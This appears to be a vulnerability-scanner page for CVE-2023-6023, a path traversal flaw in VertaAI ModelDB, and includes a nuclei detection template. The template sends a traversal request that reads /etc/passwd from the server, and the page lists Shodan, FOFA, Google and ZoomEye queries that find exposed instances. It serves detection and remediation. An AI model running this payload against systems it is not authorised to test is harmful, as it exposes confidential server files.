VertaAI ModelDB - Path Traversal

highseverity

7.5CVSS score

3%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.

Impact

Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.

Fix

Restrict access to the web application

How to confirm it

Send: GET {{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" and "filename=" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6023 -u <target>

The full check

id: CVE-2023-6023

info:
  name: VertaAI ModelDB - Path Traversal
  author: m0ck3d,cookiehanhoan
  severity: high
  description: |
    The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
  impact: |
    Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
  remediation: Restrict access to the web application
  reference:
    - https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6023
    cwe-id: CWE-22,CWE-29
    epss-score: 0.02975
    epss-percentile: 0.87371
    cpe: cpe:2.3:a:vertaai:modeldb:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vertaai
    product: modeldb
    shodan-query:
      - http.favicon.hash:-2097033750
      - http.title:"verta ai"
    fofa-query:
      - icon_hash=-2097033750
      - title="verta ai"
    google-query: intitle:"verta ai"
    zoomeye-query: title="Verta AI"
  tags: cve,cve2023,lfi,modeldb,vertaai,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename="
        condition: and

      - type: status
        status:
          - 200

References

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